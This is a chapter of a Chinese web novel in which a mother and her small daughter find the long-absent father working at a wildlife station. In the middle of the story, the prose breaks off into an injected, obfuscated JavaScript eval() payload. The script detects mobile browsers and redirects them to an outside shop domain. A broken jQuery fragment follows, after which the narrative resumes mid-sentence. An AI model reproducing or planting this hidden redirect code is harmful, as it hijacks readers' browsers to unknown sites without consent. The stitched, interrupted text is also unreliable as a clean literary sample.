过了一日,巴音趁风雪停了,和林桉带着几人前往野保所。
两辆车,巴音开着牧马人带着滕蓉蓉四位女士,林桉开巴音阿爸的皮卡带着不敢回家的恩和。
因为林桉的视频,许多人知道了这么个地方,野保所最近能收到一些社会爱心人士的捐赠,压力小了不少。
野保所是对外开放的,只不过之前游客不多,一个月能有三五个都算是超常发挥。
林桉也算是一回生,二回熟。今天野保所的工作人员除了刘医生,其余的都在,听说刘医生感冒了,在员工宿舍休息。
巴音被所长留了下来,林桉和恩和担起导游的任务,领着四位女士参观狼塔。
贝贝对这个陌生的地方好奇得紧,小短腿倒腾得飞快,没一会儿就跑到几人前面去了,恩和不放心,在后面追着她。
“哎呀——”
贝贝一下没注意撞到了人,摔了一个屁股蹲。
她仰起头看着面前高大的男人,思考了一会儿,说:“对不起,蜀黍。”
男人头发遮住了眼睛,轻笑了一声:“小屁孩,你家大人呢?”
贝贝站了起来,拍了拍手上的灰,小眉头皱着,退后了两步,看清男人的全貌:“蜀黍,我叫贝贝,不叫小屁孩,妈妈和哥哥姐姐们在后面。”
贝贝有点怕怕,但还是有礼貌地回答。
“呵。”小崽子胆子还不错。
“叔叔,我也有小月亮哦!”贝贝开心地指着男人胸前的月牙吊坠。
男人脸色狠厉,迅速把吊坠塞回衣服里。
再抬头时,贝贝身后的恩和追上来了。
“贝贝。”
“哥哥,我在这。”贝贝转身招手。
恩和上前拉住贝贝的小手,严肃地说:“不能乱跑。”
“知道啦~恩和哥哥,蜀……”
贝贝站在原地,眼睛眨巴眨巴。
人呢?蜀黍怎么走了?
“贝贝想说什么?”
贝贝摇了摇头,想不起来了。
恩和蹲下来,把贝贝棉服的帽子重新戴好,刚才她跑得太快,帽子翻到了后面,两只耳朵冻得通红。
他把帽子前沿往下拉了拉,盖住她的额头,又把她被帽子压住的头发从脸颊两侧拨出来。
贝贝乖乖地站着,任他摆弄。
“怎么了?”滕蓉蓉走到恩和身边,看了一眼他怀里的贝贝。
“妈妈,贝贝撞到人啦。”贝贝说。
“撞到人?”林桉惊诧,朝四周看去,在尽头拐角处看见一个男人侧影。
贝贝吸了吸鼻子:“头发长长的蜀黍,和贝贝一样有小月亮。”贝贝显摆了一下恩和用彩水笔画的月亮。
滕蓉蓉摸了摸贝贝的小手,热乎乎的,她顺着女儿的话:“那贝贝说对不起了吗?”
“贝贝说过啦!”贝贝骄傲地挺起胸膛。
小插曲很快被众人抛在了脑后
前方传来林桉一声提醒:“前面就是狼舍了。”
因为下雪,月亮的住所已经挪到了室内。
林桉几人刚走到月亮的笼舍,身后便传来一阵急促的脚步声,夹杂着几声压不住的咳嗽。
“咳咳——请等一下。”
“月亮这几天状态不太好,已经停止对外参观了。”带着鼻音。
林桉和小赵几个同时转过头,看到他裹着一件军绿色的大衣从员工宿舍的方向快步走来,大衣的下摆在风中拍打着他的小腿。
“刘医生,好久不见。”林桉认出了人。
刘医生走近了,看见是熟人,脸上浮起一点笑意 “是你啊,林桉。”
“啊——”贝贝激动地跺脚,指着刘医生,“噗噗熊先生。”
林桉一愣。
小赵也愣了。
空气安静了一秒。
“贝贝,不能用手指指别人。”林桉回过神,赶紧转头跟刘医生赔不是,“抱歉啊刘医生,贝贝不是故意的。”
“没关系。”刘医生倒是不介意,笑了笑。
“林桉舅舅。”贝贝不服气,小嘴撅得老高,气鼓鼓的,“我生气了。”
林桉轻笑,小小年纪,也不知道哪来的那么多气。
而站在几人身后的滕蓉蓉,整个人像是被钉住了。
终于听到了日思夜想的声音,她不敢回头,怕又是一场梦。
贝贝的话,给了她勇敢的力量。
滕蓉蓉深吸一口气,缓缓转过身。
她就那样看着他,眼睛一眨不眨。
他变了好多,又好像什么都没变。
她曾经在心里预演过千百遍,找到他之后第一句话要说什么,可真正对上他目光的这一刻,那些话一个字也想不起来了。
四目相对间。
最后,是滕蓉蓉先开了口。
她淡淡地笑了一下:“好久不见。”
刘医生眼睛直直地看着滕蓉蓉,里面涵盖了太多的东西。
良久,才缓缓吐出一句:“进里面说吧。”
“妈妈,噗噗熊先生。”
贝贝可不管大人们之间那些弯弯绕绕的东西。她挣脱了林桉的手,迈着小短腿就冲了过去,一头扎进去。
滕蓉蓉走到刘医生面前,气场两米八。
“刘澍文,这回你跑不了了。”
刘医生手无处安放地垂在身侧,他摇了摇头,嘴唇翕动了好几下。
林桉看得出两人有事情要解决,半哄着抱起了贝贝,把空间留给两人。
小宋和小赵对视一眼,什么也没说,默默跟上了林桉的步伐。
没有别的,就是莫名地有安全感。
一行人谁也没开口,安安静静地往接待厅走。
刚到门口,巴音就迎了出来。
巴音视线掠过一前一后的刘医生和滕蓉蓉,自然而然地落到林桉身上,他长腿迈了两步,十分顺手抱过贝贝。
贝贝也不挣扎,窝在巴音怀里,小脑袋往他肩膀上一靠。
“累了吗?”巴音低头看了林桉一眼,轻声问了一句。
林桉张了张嘴,话到嘴边又咽了回去。
他看了一眼不远处的滕蓉蓉,最终什么也没说。
巴音也不着急,等林桉开口。
就在这时,滕蓉蓉回过了头。
她看了一眼林桉,嘱咐说,“林桉,帮我照看一下贝贝。”就拉着刘医生穿过前厅去了后院。
刘医生没有反抗,脚步不由自主地跟上,他低头呆呆地看着她攥着自己手腕的那只手。
此时,接待厅就剩巴音他们一行人。
林桉和巴音悄悄地咬着耳朵:“蓉姐和刘医生。”
有些事情,点到为止。
等滕蓉蓉和刘医生再出现在众人眼前时,两人手牵着手,一脸坦然的模样。
没人知道他们谈了什么,除了他们自己。
林桉挑了下眉,冲巴音努了努嘴,意思是:“看吧,我说得没错。”
巴音抿着嘴笑,低头假装整理东西,这么鲜活的林桉,是他的。
滕蓉蓉倒是大大方方,挽着刘医生的胳膊走过来,嘴角带着点藏不住的笑:“都看什么呢?没见过谈恋爱?”
“没没没,蓉姐。”林桉立刻举手投降:“那我是不是该改口叫姐夫了?”
“便宜你了。”滕大美女白了刘医生一眼。
刘医生推了推眼镜,耳廓微红,但表情倒是稳得住,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769838|209863||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冲大家点了点头,算是打了招呼。
贝贝嘴巴鼓鼓,重重地‘哼’了一声。
她已经不是两岁小孩了,大人说的话她都能听懂。
妈妈有小秘密,都不告诉贝贝,她不是妈妈的小宝贝了吗?
“怎么了?贝贝。”滕蓉蓉蹲下来和贝贝视线齐平。
“妈妈,你和噗噗熊先生说悄悄话。”
“他不是噗噗熊先生。”滕蓉蓉无奈解释。
上次贝贝去迪士尼玩,贝贝看见了装扮噗噗熊的演员摘下头套,从这之后,只要贝贝看见不认识的、脸圆圆、小眼睛、圆肚肚的叔叔都认为是噗噗熊先生。
滕蓉蓉抱起贝贝塞到刘医生怀里,“你惹的,你哄。”
贝贝还没反应过来,就从妈妈的怀里换到了刘医生的怀里。
妈妈的抱抱是软软的。
林桉舅舅的抱抱是香香的。
这个叔叔像石头一样。
贝贝不舒服地扭了扭身子,小手揽住刘医生的脖颈。
刘医生抱得很紧,身体僵硬。
“贝贝,我是……爸爸。”
贝贝仰着头,眼睛圆溜溜,近距离地看着噗噗熊先生。
噗噗熊先生是爸爸吗?
不过……
他怎么哭了?
贝贝伸出手指戳了一下嘴唇,小胡子扎手,又戳了一下鼻尖,像个小老头似的,说出的话让在场的大人啼笑皆非。
“欸!算了,贝贝不生气了,□□爸爸下次和妈妈说小秘密要记得带上贝贝哦。”这些大人比贝贝还难哄。
“谢谢贝贝。”刘医生声音闷闷的。
所长知道了刘医生的老婆、女儿来了,招呼着众人吃顿饭再走,刚好野保所采购日刚过去没多久,瓜果蔬菜都有。
刘医生来所里这么久,节假日不休,尽责尽职,他们还为刘医生的奉献精神所折服。
成功男人背后都有一个更伟大的女人在背后支持。
显然,他们认为滕蓉蓉就是这个更伟大的女人。
丈夫为理想离家多年,妻子独自带着女儿默默守护。
多么感天动地的爱情。
所长感性地抹去两滴泪,亲自上手扛食材,务必要让弟妹感受到他们野保所的热情。
作为当事人的滕蓉蓉一无所知,只感觉这里人怪热情的。
贝贝从出生就没见过爸爸,妈妈说爸爸是大英雄,拯救世界去了。
此刻的她整个人窝在爸爸怀里,听着所长伯伯讲爸爸的故事。
贝贝听得眼睛都直了,时不时‘哇’一声,捧哏捧得十分到位。
所长虚荣心得到了满足,讲得更加起劲,本来是一件普通的救助过程,加了点夸张的修辞手法,那叫一个跌宕起伏。
贝贝现在对爸爸是大英雄这件事深信无疑。
她低头看了看爸爸的手。
她的手太小了,只能握住他两根手指。她把爸爸的手翻过来,用食指摸了摸他虎口处那道贯穿只手的疤,疤已经变成了白色,比周围的皮肤浅一个色号。
“爸爸,你还疼吗?”贝贝问。
“不疼了。”他说。
贝贝把他的手贴在自己脸上,“妈妈说,摸摸贝贝就不疼了。”
“好。”刘医生第一次感觉眼泪不值钱。
所长看得眼热,小棉袄啊!
呜呜呜~
别人家的。
“贝贝长大以后也要像爸爸一样。”
贝贝小嘴甜得像吃了糖。
对此,坐在对面的林桉只是浅浅笑了笑,这话,贝贝已经不知道对多少人说过了。
就连小太阳幼儿园的保安爷爷也没能逃过贝贝的糖衣炮弹。